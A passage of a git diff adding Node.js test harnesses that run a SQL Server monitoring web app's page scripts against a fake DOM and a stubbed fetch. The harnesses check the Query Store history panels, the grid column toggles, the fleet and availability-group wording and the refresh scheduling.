+  modules.util.mount(root, tab.build("a", { hours: 24, label: "last 24 hours" }));
+  await flush();
+  return root;
+};
+const gridOf = (root, title) => {
+  const panel = all(root).find((n) => n.className && /\bpanel\b/.test(n.className) && all(n).some((c) => c.tag === "h3" && c.textContent.startsWith(title))) || null;
+  return panel;
+};
+const heads = (panel) => {
+  const table = all(panel).find((n) => n.tag === "table");
+  if (!table) return null;
+  const tr = all(table).find((n) => n.tag === "tr");
+  return tr.children.filter((t) => t.style.display !== "none").map((t) => t.textContent.replace(/[▲▼ ]/g, ""));
+};
+const rowCells = (panel) => {
+  const table = all(panel).find((n) => n.tag === "table");
+  const tbody = all(table).find((n) => n.tag === "tbody");
+  return tbody.children[0].children.filter((t) => t.style.display !== "none").map((t) => t.textContent);
+};
+const picker = (panel) => all(panel).find((n) => n.className === "col-picker") || null;
+const toggle = (panel, label) => picker(panel).children.find((c) => c.textContent === label);
+const TITLES = { regressions: "Query Store Regressions", completions: "Long Query Completions", corrections: "Plan Corrections" };
+
+const out = { fetches };
+const scenarios = {
+  async defaults() {
+    const root = await draw();
+    for (const [k, title] of Object.entries(TITLES)) {
+      const p = gridOf(root, title);
+      out[k] = { found: !!p, heads: p ? heads(p) : null, toggles: p && picker(p) ? picker(p).children.map((c) => c.textContent) : null };
+    }
+  },
+  async toggling() {
+    const root = await draw();
+    const p = gridOf(root, TITLES.corrections);
+    toggle(p, "Lifecycle").click();
+    out.lifecycleOn = heads(p);
+    toggle(p, "Plans").click();
+    out.plansOn = heads(p);
+    toggle(p, "Lifecycle").click();
+    toggle(p, "Plans").click();
+    out.allOff = heads(p);
+    const q = gridOf(root, TITLES.regressions);
+    toggle(q, "Executions and plans").click();
+    out.regressionsExecs = heads(q);
+    const l = gridOf(root, TITLES.completions);
+    toggle(l, "Session").click();
+    out.completionsSession = heads(l);
+  },
+  async repaint() {
+    let root = await draw();
+    toggle(gridOf(root, TITLES.corrections), "Lifecycle").click();
+    toggle(gridOf(root, TITLES.completions), "I/O and rows").click();
+    root = await draw();
+    out.corrections = heads(gridOf(root, TITLES.corrections));
+    out.completions = heads(gridOf(root, TITLES.completions));
+    out.regressions = heads(gridOf(root, TITLES.regressions));
+  },
+  async localTime() {
+    const root = await draw();
+    const p = gridOf(root, TITLES.corrections);
+    toggle(p, "Lifecycle").click();
+    out.cells = rowCells(p);
+    out.expected = new Date(UTC_STAMP + "Z").toLocaleString();
+    const q = gridOf(root, TITLES.regressions);
+    out.regressionCells = rowCells(q);
+    const l = gridOf(root, TITLES.completions);
+    out.completionCells = rowCells(l);
+  },
+};
+await scenarios[scenario]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-qs-history-harness.mjs b/Darling/Darling.Tests/web-qs-history-harness.mjs
new file mode 100644
index 0000000000..45363f421c
--- /dev/null
+++ b/Darling/Darling.Tests/web-qs-history-harness.mjs
@@ -0,0 +1,352 @@
+/* #5234: runs the shipped Query Store history panel (wwwroot/js/pages/query-store-history.js with plan-viewer.js, util.js and grid-tools.js) on a small
+   fake DOM and prints what a scenario did as one line of JSON. QueryStoreHistoryBehaviourTests starts it as
+       node web-qs-history-harness.mjs <path to the js folder> <scenario>
+   Only the DOM, fetch, the clipboard and the download plumbing are stand-ins. */
+import { pathToFileURL } from "node:url";
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+
+/* isConnected is a plain flag here: true for a node that was built or put under a parent, false once removeChild took it
+   out (the page throwing a cell away). */
+class FakeNode {
+  constructor(tag) { this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.style = {}; this.isConnected = FakeNode.newConnected; }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); c.isConnected = true; return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; c.isConnected = false; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  click() { for (const fn of this.listeners.click || []) fn({ preventDefault() {}, target: this }); }
+  all(pred, acc = []) { if (pred(this)) acc.push(this); for (const c of this.children) c.all && c.all(pred, acc); return acc; }
+  byText(t) { return this.all((n) => n.tag === "button" && n.textContent === t)[0] || null; }
+}
+/* A new node starts on the page here. A scenario that builds a grid sets this to false, as a browser would: a node is not on
+   the page until something puts it there. */
+FakeNode.newConnected = true;
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+const downloads = [];
+globalThis.document = { body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const clip = [];
+Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { clip.push(t); } } }, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+
+const fetches = [];
+let reply = { status: 200, body: "{}" };
+globalThis.fetch = async (url) => {
+  fetches.push(String(url));
+  return { status: reply.status, ok: reply.status < 400, text: async () => reply.body };
+};
+
+/* ResizeObserver stand-in that counts the observers still connected (plan-row.js: a closed panel must leave none). */
+const observers = [];
+globalThis.ResizeObserver = class { constructor() { this.live = true; observers.push(this); } observe() {} disconnect() { this.live = false; } };
+const liveObservers = () => observers.filter((o) => o.live).length;
+
+const root = process.argv[2];
+/* charts.js draws SVG, which the stand-in DOM cannot: copy the page scripts and replace it with a recorder, so the
+   harness sees exactly the spec the panel hands the chart. */
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "qs-history-"));
+fs.cpSync(root, scratch, { recursive: true });
+fs.writeFileSync(path.join(scratch, "charts.js"),
+  'export const SERIES_COLORS = ["#2eaef1", "#4dd0e1"];\n' +
+  'export const chartZoomScope = (h) => "scope|" + h;\n' +
+  'export function zoomableLineChart(spec, id, scope) { globalThis.__charts.push({ spec, id, scope, hidden: globalThis.__chartState.get(id + "|" + scope) ?? null }); const d = document.createElement("div"); d.className = "zoomable-chart"; return d; }\n');
+globalThis.__charts = [];
+/* Stands for the zoom and legend state charts.js keeps per chart id and scope: a scenario writes it as a click on the legend would. */
+globalThis.__chartState = new Map();
+const mod = await import(pathToFileURL(scratch + "/pages/query-store-history.js").href);
+const util = await import(pathToFileURL(scratch + "/util.js").href);
+const pv = await import(pathToFileURL(scratch + "/pages/plan-viewer.js").href);
+const flush = () => new Promise((r) => setTimeout(r, 5));
+const out = {};
+const row = { database_name: "Orders", query_id: 42 };
+const KEY = "srv-a|Orders|42|||"; // the panel's key for `row` (server|database|query id|plan id|execution type|replica role)
+const history = (extra = {}) => ({
+  database_name: "Orders", query_id: 42, effective_start: "2026-03-04T00:00:00.0000000Z", window_truncated: false, points_truncated: false,
+  plans: [
+    { plan_id: 7, execution_count: 40, avg_duration_ms: 175, total_duration_ms: 7000, avg_cpu_ms: 70, total_cpu_ms: 2800, first_execution_time: "2026-03-04T04:00:00", last_execution_time: "2026-03-04T06:00:00", is_forced_plan: true },
+    { plan_id: 9, execution_count: 5, avg_duration_ms: 10, total_duration_ms: 50, avg_cpu_ms: 5, total_cpu_ms: 25, first_execution_time: null, last_execution_time: null, is_forced_plan: false },
+  ],
+  points: [
+    { collection_time: "2026-03-04T05:00:00", plan_id: 7, execution_count: 10, avg_duration_ms: 100, avg_cpu_ms: 40 },
+    { collection_time: "2026-03-04T06:00:00", plan_id: 9, execution_count: 5, avg_duration_ms: 10, avg_cpu_ms: 5 },
+  ],
+  ...extra,
+});
+const respond = (data) => { reply = { status: 200, body: JSON.stringify(data) }; };
+const col = () => mod.queryStoreHistoryColumn("srv-a", 24);
+const query = (i) => { const u = new URL(fetches[i], "http://viewer.test"); return { path: u.pathname, query: Object.fromEntries(u.searchParams) }; };
+const tables = (cell) => cell.all((n) => n.tag === "table");
+
+const scenarios = {
+  async open() {
+    respond(history());
+    const cell = col().render(row);
+    out.buttonBefore = cell.byText("History") !== null;
+    cell.byText("History").click();
+    out.loading = cell.textContent;
+    await flush();
+    Object.assign(out, query(0));
+    out.fetches = fetches.length;
+    const t = tables(cell)[0];
+    out.dataRows = t.all((n) => n.tag === "tr").length - 1;
+    out.rowTexts = t.all((n) => n.tag === "tr").slice(1).map((r) => r.textContent);
+    const planButtons = cell.all((n) => n.tag === "button" && n.textContent === "Plan");
+    out.planButtons = planButtons.length;
+    out.observersOpen = liveObservers();
+    planButtons[1].click();
+    await flush();
+    Object.assign(out, { plan: query(1) });
+    out.chart = globalThis.__charts.map((c) => ({ id: c.id, scope: c.scope, series: c.spec.series.map((s) => s.key), points: c.spec.points.length, xKey: c.spec.xKey }));
+    cell.byText("Hide plan").click();
+    cell.byText("Hide history").click();
+    out.closed = tables(cell).length === 0;
+    out.observersClosed = liveObservers();
+  },
+  async rebuild() {
+    respond(history());
+    const first = col().render(row);
+    first.byText("History").click();
+    await flush();
+    const before = fetches.length;
+    const second = col().render(row);
+    out.open = second.byText("Hide history") !== null;
+    out.showsTable = tables(second).length === 1;
+    out.refetched = fetches.length - before;
+  },
+  async truncated() {
+    respond(history({ window_truncated: true }));
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    out.notices = cell.all((n) => n.className === "strip notice").map((n) => n.textContent);
+  },
+  async notTruncated() {
+    respond(history());
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    out.notices = cell.all((n) => n.className === "strip notice").length;
+  },
+  async empty() {
+    reply = { status: 200, body: JSON.stringify({ status: "empty", message: "No Query Store history for query_id 42." }) };
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    out.text = cell.textContent;
+    out.tables = tables(cell).length;
+  },
+  /* An empty answer over a window the store does not reach back to carries its note under hints (#5300): the panel shows it
+     above the message. Hints that say the window was not cut show no note. */
+  async emptyWithHints() {
+    const hints = { effective_start: "2026-03-04T00:00:00.0000000Z", window_truncated: true, truncation_note: "The window reaches further back than the store holds, so the older part of it was not read." };
+    reply = { status: 200, body: JSON.stringify({ status: "empty", message: "No Query Store history for query_id 42.", hints }) };
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    out.notices = cell.all((n) => n.className === "strip notice").map((n) => n.textContent);
+    out.empties = cell.all((n) => n.className === "strip empty").map((n) => n.textContent);
+    out.tables = tables(cell).length;
+  },
+  async emptyWithUncutHints() {
+    const hints = { effective_start: "2026-03-04T00:00:00.0000000Z", window_truncated: false, truncation_note: null };
+    reply = { status: 200, body: JSON.stringify({ status: "empty", message: "No Query Store history for query_id 42.", hints }) };
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    out.notices = cell.all((n) => n.className === "strip notice").length;
+    out.text = cell.textContent;
+  },
+  async customRange() {
+    respond(history());
+    util.setActiveRange({ server: "srv-a", hours: 24, startMs: Date.parse("2026-03-04T02:00:00Z"), endMs: Date.parse("2026-03-04T06:00:00Z"), asOf: "2026-03-04T06:00:00.000Z" });
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    Object.assign(out, query(0));
+  },
+  async windowChange() {
+    respond(history());
+    const first = col().render(row);
+    first.byText("History").click();
+    await flush();
+    const before = fetches.length;
+    const sameWindow = mod.queryStoreHistoryColumn("srv-a", 24).render(row);
+    out.sameWindowRefetched = fetches.length - before;
+    const wider = mod.queryStoreHistoryColumn("srv-a", 168).render(row);
+    await flush();
+    out.hoursRefetched = fetches.length - before;
+    out.lastHours = query(fetches.length - 1).query.hours;
+    out.stillOpen = wider.byText("Hide history") !== null && tables(wider).length === 1;
+    util.setActiveRange({ server: "srv-a", hours: 168, startMs: 0, endMs: 1, asOf: "2026-03-04T06:00:00.000Z" });
+    const ranged = mod.queryStoreHistoryColumn("srv-a", 168).render(row);
+    await flush();
+    out.rangeRefetched = fetches.length - before - 1;
+    out.lastAsOf = query(fetches.length - 1).query.as_of;
+  },
+  /* The page throws a cell away (a grid rebuild, a tab switch) while the read is out. When the answer lands, the cell that
+     left is not drawn into and leaves the redraw set, and the cell that replaced it is drawn. */
+  async detachedCell() {
+    respond(history());
+    const gone = body.appendChild(col().render(row));
+    gone.byText("History").click();
+    body.removeChild(gone);
+    const kept = body.appendChild(col().render(row));
+    await flush();
+    out.goneTables = tables(gone).length;
+    out.keptTables = tables(kept).length;
+    out.cells = mod.queryStoreHistoryViewCounts()[KEY];
+  },
+  /* The last cell for a key goes: the key itself leaves the redraw map, not an empty set left behind. */
+  async lastCellGone() {
+    respond(history());
+    const only = body.appendChild(col().render(row));
+    only.byText("History").click();
+    body.removeChild(only);
+    await flush();
+    out.goneTables = tables(only).length;
+    out.keys = Object.keys(mod.queryStoreHistoryViewCounts());
+  },
+  /* The grid has a row per plan, execution type and replica role of a query, and History opens under the row clicked and no
+     other row of the query. Closing one leaves the others as they were. */
+  async twoRows() {
+    respond(history());
+    const c = col();
+    const planA = { database_name: "Orders", query_id: 42, plan_id: 7, execution_type_desc: "Regular", replica_role: "PRIMARY" };
+    const rows = [planA, { ...planA, plan_id: 9 }, { ...planA, execution_type_desc: "Aborted" }, { ...planA, replica_role: "SECONDARY" }];
+    const cells = rows.map((r) => body.appendChild(c.render(r)));
+    const shown = () => cells.map((x) => x.byText("Hide history") !== null && tables(x).length === 1);
+    cells[0].byText("History").click();
+    await flush();
+    out.afterFirst = shown();
+    out.fetchesAfterFirst = fetches.length;
+    out.keysAfterFirst = mod.openQueryStoreHistoryKeys();
+    cells[1].byText("History")?.click();
+    await flush();
+    out.afterSecond = shown();
+    cells[0].byText("Hide history")?.click();
+    out.afterHide = shown();
+    out.keysAfterHide = mod.openQueryStoreHistoryKeys();
+  },
+  /* The Plan button in a History table opens its own cell: not the grid's Plan cell for that plan, and not the same plan's button
+     in the History table under another grid row. */
+  async planButtonScope() {
+    respond(history());
+    const c = col();
+    const rowA = { database_name: "Orders", query_id: 42, plan_id: 7, execution_type_desc: "Regular", replica_role: null };
+    const rowB = { ...rowA, plan_id: 9 };
+    const cellA = body.appendChild(c.render(rowA));
+    const cellB = body.appendChild(c.render(rowB));
+    const gridPlan = body.appendChild(pv.queryStorePlanColumn("srv-a").render(rowA));
+    cellA.byText("History").click();
+    cellB.byText("History")?.click();
+    await flush();
+    const planButtons = (cell) => cell.all((n) => n.tag === "button" && n.textContent === "Plan");
+    const openPlans = (cell) => cell.all((n) => n.tag === "button" && n.textContent === "Hide plan").length;
+    const before = fetches.length;
+    planButtons(cellA)[0].click();
+    await flush();
+    out.planReads = fetches.length - before;
+    out.afterTableButton = { a: openPlans(cellA), b: openPlans(cellB), grid: openPlans(gridPlan) };
+    gridPlan.byText("Plan")?.click();
+    await flush();
+    out.afterGridButton = { a: openPlans(cellA), b: openPlans(cellB), grid: openPlans(gridPlan) };
+    planButtons(cellB)[0]?.click();
+    await flush();
+    out.afterOtherTableButton = { a: openPlans(cellA), b: openPlans(cellB), grid: openPlans(gridPlan) };
+    out.planPanels = pv.openPlanKeys().length;
+  },
+  /* The page rebuilds the grid every minute and throws the old one away. A cell nobody clicked leaves the redraw set once its
+     grid is gone, so the set holds about two builds' cells however many builds go by, whether the rows are the same each time or
+     new each time. A cell of the build in progress is not on the page yet and stays in the set. */
+  async rebuildsBounded() {
+    FakeNode.newConnected = false;
+    respond(history());
+    const total = () => Object.values(mod.queryStoreHistoryViewCounts()).reduce((a, b) => a + b, 0);
+    const rows = (build) => [1, 2, 3].map((i) => ({ database_name: "Orders", query_id: build * 10 + i, plan_id: i, execution_type_desc: "Regular", replica_role: null }));
+    let page = [];
+    out.sameRows = { during: [], after: [] };
+    out.newRows = { during: [], after: [] };
+    for (let build = 0; build < 12; build++) {
+      const phase = build < 6 ? out.sameRows : out.newRows;
+      const grid = col();
+      const cells = rows(build < 6 ? 0 : build).map((r) => grid.render(r));
+      phase.during.push(total());
+      cells.forEach((x) => body.appendChild(x));
+      page.forEach((x) => body.removeChild(x));
+      page = cells;
+      phase.after.push(total());
+    }
+    out.keys = Object.keys(mod.queryStoreHistoryViewCounts()).length;
+  },
+  /* Under a preset the chart's axis is the window the data was read for, not the clock at each redraw: a rebuild half an hour
+     later draws the same axis from the same read, and a read for another window takes that window's axis. */
+  async presetWindow() {
+    const realNow = Date.now;
+    let now = Date.parse("2026-03-04T06:00:00Z");
+    Date.now = () => now;
+    try {
+      respond(history());
+      const axis = () => { const spec = globalThis.__charts[globalThis.__charts.length - 1].spec; return { start: spec.windowStart, end: spec.windowEnd }; };
+      body.appendChild(mod.queryStoreHistoryColumn("srv-a", 1).render(row)).byText("History").click();
+      await flush();
+      out.loaded = axis();
+      now += 30 * 60000;
+      const before = fetches.length;
+      body.appendChild(mod.queryStoreHistoryColumn("srv-a", 1).render(row));
+      out.rebuilt = axis();
+      out.rebuiltRefetched = fetches.length - before;
+      body.appendChild(mod.queryStoreHistoryColumn("srv-a", 6).render(row));
+      await flush();
+      out.widened = axis();
+      out.widenedRefetched = fetches.length - before;
+    } finally {
+      Date.now = realNow;
+    }
+  },
+  /* Two rows of one query have a History panel each, and a chart's zoom and hidden series belong to the panel they were set in. */
+  async panelCharts() {
+    respond(history());
+    const c = col();
+    const rowA = { database_name: "Orders", query_id: 42, plan_id: 7, execution_type_desc: "Regular", replica_role: null };
+    const rowB = { ...rowA, plan_id: 9 };
+    body.appendChild(c.render(rowA)).byText("History").click();
+    await flush();
+    const chartA = globalThis.__charts[globalThis.__charts.length - 1];
+    body.appendChild(c.render(rowB)).byText("History").click();
+    await flush();
+    const chartB = globalThis.__charts[globalThis.__charts.length - 1];
+    out.ids = [chartA.id, chartB.id];
+    globalThis.__chartState.set(chartA.id + "|" + chartA.scope, "hide:p7");
+    const redrawn = () => globalThis.__charts[globalThis.__charts.length - 1];
+    body.appendChild(c.render(rowA));
+    out.hiddenInA = redrawn().hidden;
+    body.appendChild(c.render(rowB));
+    out.hiddenInB = redrawn().hidden;
+  },
+  async cutNotice() {
+    respond(history({ points_truncated: true }));
+    const cell = col().render(row);
+    cell.byText("History").click();
+    await flush();
+    out.notices = cell.all((n) => n.className === "strip notice").map((n) => n.textContent);
+  },
+  async noKey() {
+    out.noDb = col().render({ query_id: 1 }).textContent;
+    out.noId = col().render({ database_name: "Orders" }).textContent;
+  },
+  async flags() {
+    const c = col();
+    Object.assign(out, { key: c.key, sortable: c.sortable, filter: c.filter, csv: c.csv, copy: c.copy });
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-release-walk-harness.mjs b/Darling/Darling.Tests/web-release-walk-harness.mjs
new file mode 100644
index 0000000000..bf3463033d
--- /dev/null
+++ b/Darling/Darling.Tests/web-release-walk-harness.mjs
@@ -0,0 +1,173 @@
+/* Runs the shipped Fleet and Availability Group pages and plain-text.js under Node against a fake DOM and a fake fetch
+   and prints a scenario's result as one line of JSON (release walk W1, W5, W7, W11). ReleaseWalkWordingTests starts it as
+       node web-release-walk-harness.mjs <path to wwwroot/js> <scenario>
+   The pages and every module are copied unchanged into a scratch folder and imported as the browser would. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.className = "";
+    this.handlers = {};
+    this.isConnected = true;
+    this.text = text == null ? null : String(text);
+    this.classList = { add() {}, remove() {}, toggle() {}, contains: () => false };
+  }
+  get firstChild() { return this.children[0] || null; }
+  appendChild(child) { this.children.push(child); return child; }
+  removeChild(child) { const i = this.children.indexOf(child); if (i >= 0) this.children.splice(i, 1); return child; }
+  setAttribute(name, value) { this.attrs[name] = String(value); }
+  getAttribute(name) { return name in this.attrs ? this.attrs[name] : null; }
+  addEventListener(type, fn) { (this.handlers[type] ||= []).push(fn); }
+  set textContent(value) { this.children = []; this.text = String(value); }
+  get textContent() { return (this.text || "") + this.children.map((c) => c.textContent).join(""); }
+}
+
+globalThis.Node = FakeNode;
+globalThis.document = {
+  createElement: (tag) => new FakeNode(tag),
+  createElementNS: (ns, tag) => new FakeNode(tag),
+  createTextNode: (text) => new FakeNode("#text", text),
+  getElementById: () => null, querySelector: () => null, querySelectorAll: () => [], addEventListener() {},
+};
+globalThis.window = globalThis;
+globalThis.confirm = () => true;
+globalThis.location = { hash: "", pathname: "/", search: "", href: "http://localhost/", origin: "http://localhost" };
+globalThis.history = { pushState() {}, replaceState() {}, back() {} };
+const mem = new Map();
+globalThis.localStorage = { getItem: (k) => (mem.has(k) ? mem.get(k) : null), setItem: (k, v) => mem.set(k, String(v)), removeItem: (k) => mem.delete(k) };
+globalThis.sessionStorage = globalThis.localStorage;
+globalThis.addEventListener = () => {};
+globalThis.matchMedia = () => ({ matches: false, addEventListener() {}, removeEventListener() {} });
+
+const all = (node, pred, out = []) => { if (pred(node)) out.push(node); for (const c of node.children) all(c, pred, out); return out; };
+const settle = () => new Promise((r) => setTimeout(r, 25));
+const reply = (status, body) => ({ status, ok: status >= 200 && status < 300, text: async () => JSON.stringify(body) });
+
+const offlineCard = (over) => ({
+  server_id: 10, display_name: "srv-dark", server_name: "srv-dark", band: "Offline", band_label: "Offline", is_online: false,
+  status: "Offline", last_collection: null, tags: [], is_silenced: false, metric_count: 0, measured_metric_count: 0, ...over,
+});
+const agView = (name, server) => ({
+  ag_name: name, server_name: server, severity: "Healthy", severity_label: "Healthy", is_stale: false, primary_replica: server,
+  collection_time: new Date().toISOString(), replicas: [], databases: [],
+});
+let cards = [];
+let agBody = null;
+let failReads = false;
+globalThis.fetch = async (url) => {
+  if (url === "/api/session") return reply(200, { can_edit: true });
+  if (url === "/api/fleet") return reply(200, { total_servers: cards.length, critical_count: 0, warning_count: 0, offline_count: cards.length, tags: [], cards });
+  if (url === "/api/ag") return reply(200, agBody);
+  if (failReads && String(url).startsWith("/api/read/")) return reply(503, { error: "The store took too long to answer this read. Try again in a moment." });
+  return reply(200, {});
+};
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "release-walk-"));
+const out = {};
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const imp = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  const texts = (root) => all(root, (n) => n.text != null && n.text !== "").map((n) => n.text);
+  const byClass = (root, cls) => all(root, (n) => n.className === cls || String(n.className).split(" ").includes(cls)).map((n) => n.textContent);
+
+  const scenarios = {
+    /* W1: an offline server with no last_collection (dark past the fleet read's two-day window) says when it last collected. */
+    fleetDark: async () => {
+      cards = [offlineCard({})];
+      const page = await imp("pages/fleet.js");
+      const main = new FakeNode("main");
+      await page.renderFleet(main);
+      await settle();
+      return { dark: texts(main).filter((x) => x.includes("no recent collection") || x.includes("last collected")) };
+    },
+    /* W1b: the service now sends the real last collection for a server dark past the window, so the card shows its age. */
+    fleetDarkRealAge: async () => {
+      cards = [offlineCard({ last_collection: new Date(Date.now() - 12 * 86400000).toISOString() })];
+      const page = await imp("pages/fleet.js");
+      const main = new FakeNode("main");
+      await page.renderFleet(main);
+      await settle();
+      return { dark: texts(main).filter((x) => x.includes("no recent collection") || x.includes("last collect")) };
+    },
+    /* The same card with a last collection inside the window keeps its exact age. */
+    fleetInWindow: async () => {
+      cards = [offlineCard({ last_collection: new Date(Date.now() - 5 * 3600 * 1000).toISOString() })];
+      const page = await imp("pages/fleet.js");
+      const main = new FakeNode("main");
+      await page.renderFleet(main);
+      await settle();
+      return { dark: texts(main).filter((x) => x.includes("no recent collection") || x.includes("last collect")) };
+    },
+    /* W5: two reporting servers that see the same group. */
+    ag: async () => {
+      agBody = {
+        generated_at: new Date().toISOString(), distinct_ag_count: 1, reporting_server_count: 2, availability_group_count: 2,
+        availability_groups: [agView("ag_fixture", "srv-a"), agView("ag_fixture", "srv-b")],
+      };
+      const page = await imp("pages/ag.js");
+      const main = new FakeNode("main");
+      await page.renderAg(main);
+      await settle();
+      return { labels: byClass(main, "lbl"), notes: byClass(main, "meta") };
+    },
+    /* W5: one view per group needs no explanation of the cards. */
+    agOnePerGroup: async () => {
+      agBody = {
+        generated_at: new Date().toISOString(), distinct_ag_count: 2, reporting_server_count: 2, availability_group_count: 2,
+        availability_groups: [agView("ag_one", "srv-a"), agView("ag_two", "srv-b")],
+      };
+      const page = await imp("pages/ag.js");
+      const main = new FakeNode("main");
+      await page.renderAg(main);
+      await settle();
+      return { labels: byClass(main, "lbl"), notes: byClass(main, "meta") };
+    },
+    /* W12: a problem list that could not be read (the service answered 503) stays on the page with the read's error. It was
+       hidden as if the server had no problems. */
+    serverTabReadFails: async () => {
+      failReads = true;
+      const mod = await imp("pages/server-tabs.js");
+      const wanted = "Analysis could not read these data families";
+      for (const tab of mod.SERVER_TABS) {
+        let built;
+        try {
+          built = tab.build("srv-a", { hours: 24, label: "last 24 hours" });
+        } catch {
+          continue;
+        }
+        const nodes = Array.isArray(built) ? built : [built];
+        const root = new FakeNode("div");
+        for (const n of nodes) if (n && n.children) root.appendChild(n);
+        const panels = all(root, (n) => String(n.className).split(" ").includes("card") && n.textContent.includes(wanted));
+        if (panels.length === 0) continue;
+        await settle();
+        const panel = panels[0];
+        return { found: true, display: panel.style.display ?? "", text: panel.textContent };
+      }
+      return { found: false };
+    },
+    /* W7 and W11: the page's words for server answers. */
+    plain: async () => {
+      const mod = await imp("plain-text.js");
+      const inputs = JSON.parse(process.env.HARNESS_INPUT);
+      return { out: inputs.map((t) => mod.plainText(t)), line: mod.NOT_COLLECTED_LINE };
+    },
+  };
+  if (!scenarios[scenario]) throw new Error("unknown scenario " + scenario);
+  Object.assign(out, await scenarios[scenario]());
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+console.log(JSON.stringify(out));
+process.exit(0);
diff --git a/Darling/Darling.Tests/web-scheduler-harness.mjs b/Darling/Darling.Tests/web-scheduler-harness.mjs
index 8b54f7096c..8923a831de 100644
--- a/Darling/Darling.Tests/web-scheduler-harness.mjs
+++ b/Darling/Darling.Tests/web-scheduler-harness.mjs
@@ -25,6 +25,7 @@ const PAUSED_KEY = "darling.autoRefreshPaused";
 let now = 0;
 let inFlight = 0;
 let readMs = 2000;
+let errors = 0;
 const pending = [];
 const timers = [];
 const renders = [];
@@ -79,6 +80,7 @@ const sandbox = {
   bandClass: () => "",
   localTime: String,
   hasInFlightReads: () => inFlight > 0,
+  readErrorCount: () => errors,
   isSessionExpired: () => false,
   onSessionExpired() {},
   navigateServer() {},
@@ -102,6 +104,20 @@ const sandbox = {
   isBackedOff: policy.isBackedOff,
   defaultRefreshChoice: policy.defaultRefreshChoice,
   refreshLabel: policy.refreshLabel,
+  PAGE_REFRESH_CHOICES: policy.PAGE_REFRESH_CHOICES,
+  loadPageRefreshChoice: policy.loadPageRefreshChoice,
+  savePageRefreshChoice: policy.savePageRefreshChoice,
+  buildPageRefreshControl: () => ({ root: {}, select: {} }),
+  favoritesFirst: (cmp) => cmp,
+  refreshAttention: async () => {},
+  onLocalChange() {},
+  favoriteStar: () => null,
+  alertBadge: () => null,
+  initSidebarCollapse() {},
+  initSidebarSearch() {},
+  paintServerList() {},
+  initSeverityColorSettings() {},
+  readTool: async () => ({ kind: "empty" }),
   getSession: async () => null,
   listViews: async () => [],
 };
@@ -138,6 +154,7 @@ const snapshot = () => ({
   renders: renders.length,
   secondRenderAt: renders.length > 1 ? renders[1].at : null,
   hint: element("refresh-hint").textContent,
+  pageUpdatedAt: get("statusPageUpdatedAt"),
   nextRefreshInMs: settledAt.length ? get("pageNextRefreshAt") - settledAt[settledAt.length - 1] : null,
 });
 
@@ -194,6 +211,21 @@ const scenarios = {
     advance(5000);
     return { away, back: snapshot() };
   },
+  /* Release walk, review round: the footer's "Updated" time moves only when the render's reads settled without an error. The
+     first render is clean and stamps its settle; the second raises a read error (a red strip) and must keep the first time; a
+     third, clean, stamps again. */
+  failedPoll() {
+    boot();
+    advance(4000);
+    const first = snapshot();
+    advance(59000);
+    errors++;
+    advance(3000);
+    const failed = snapshot();
+    advance(70000);
+    const recovered = snapshot();
+    return { first, failed, recovered };
+  },
   /* A render that is still loading, with no hide and no pause: 45 s of reads on a 60 s page. */
   stillLoading() {
     readMs = 45000;
diff --git a/Darling/Darling.Tests/web-server-trends-harness.mjs b/Darling/Darling.Tests/web-server-trends-harness.mjs
new file mode 100644
index 0000000000..fd25f66df6
--- /dev/null
+++ b/Darling/Darling.Tests/web-server-trends-harness.mjs
@@ -0,0 +1,290 @@
+/* Runs the web server page's get_server_trend panels (serverTrendPanel and memoryClerksTrendPanel in
+   wwwroot/js/pages/server-tabs.js, with multi-picker.js, util.js, panels.js and charts.js) against a scripted /api/read
+   answer and prints the reads they sent, the picker's state and the charts they drew, as one line of JSON.
+   WebServerTrendsBehaviourTests starts it as
+       node web-server-trends-harness.mjs <path to wwwroot/js> <scenario>
+   charts.js is the shipped renderer behind a wrapper that records each chart's spec, id and scope. `fetch` and the DOM
+   are stand-ins; everything else is the shipped code. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+
+class FakeNode {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
